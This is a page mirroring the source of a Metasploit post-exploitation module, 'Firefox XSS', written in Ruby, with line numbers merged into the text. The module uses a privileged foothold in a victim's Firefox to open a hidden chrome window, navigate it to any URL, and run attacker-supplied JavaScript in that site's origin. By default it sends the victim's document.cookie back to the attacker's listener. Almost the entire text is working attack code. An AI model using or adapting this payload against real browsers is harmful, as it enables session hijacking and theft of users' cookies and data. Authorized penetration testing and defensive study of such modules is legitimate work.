Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/post/firefox/gather/xss.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45require 'json'67class MetasploitModule < Msf::Post8include Msf::Payload::Firefox9include Msf::Exploit::Remote::FirefoxPrivilegeEscalation1011def initialize(info = {})12super(13update_info(14info,15'Name' => 'Firefox XSS',16'Description' => %q{17This module runs the provided SCRIPT as javascript in the18origin of the provided URL. It works by navigating to a hidden19ChromeWindow to the URL, then injecting the SCRIPT with Function().20The callback "send(result)" is used to send data back to the listener.21},22'License' => MSF_LICENSE,23'Author' => [ 'joev' ],24'Platform' => [ 'firefox' ]25)26)2728register_options([29OptString.new('SCRIPT', [true, 'The javascript command to run', 'send(document.cookie)']),30OptPath.new('SCRIPTFILE', [false, 'The javascript file to run']),31OptString.new('URL', [32true, 'URL to inject into', 'https://metasploit.com'33]),34OptInt.new('TIMEOUT', [true, 'Maximum time (seconds) to wait for a response', 90])35])36end3738def run39results = js_exec(js_payload)40if results.present?41print_good results42else43print_error 'No response received'44end45end4647def js_payload48js = datastore['SCRIPT'].strip49%|5051(function(send){52#{set_timeout_source}5354var hiddenWindow = Components.classes["@mozilla.org/appshell/appShellService;1"]55.getService(Components.interfaces.nsIAppShellService)56.hiddenDOMWindow;5758hiddenWindow.location = 'about:blank';59var src = (#{JSON.unparse({ src: js })}).src;60var key = "#{Rex::Text.rand_text_alphanumeric(rand(8..19))}";6162hiddenWindow[key] = true;63hiddenWindow.location = "#{datastore['URL']}";6465var evt = function() {66if (hiddenWindow[key]) {67setTimeout(evt, 200);68} else {69setTimeout(function(){70try {71send(hiddenWindow.wrappedJSObject.Function('send', src)(send));72} catch (e) {73send("Error: "+e.message);74}75}, 500);76}77};7879setTimeout(evt, 200);80})(this.send);8182|.strip83end84end858687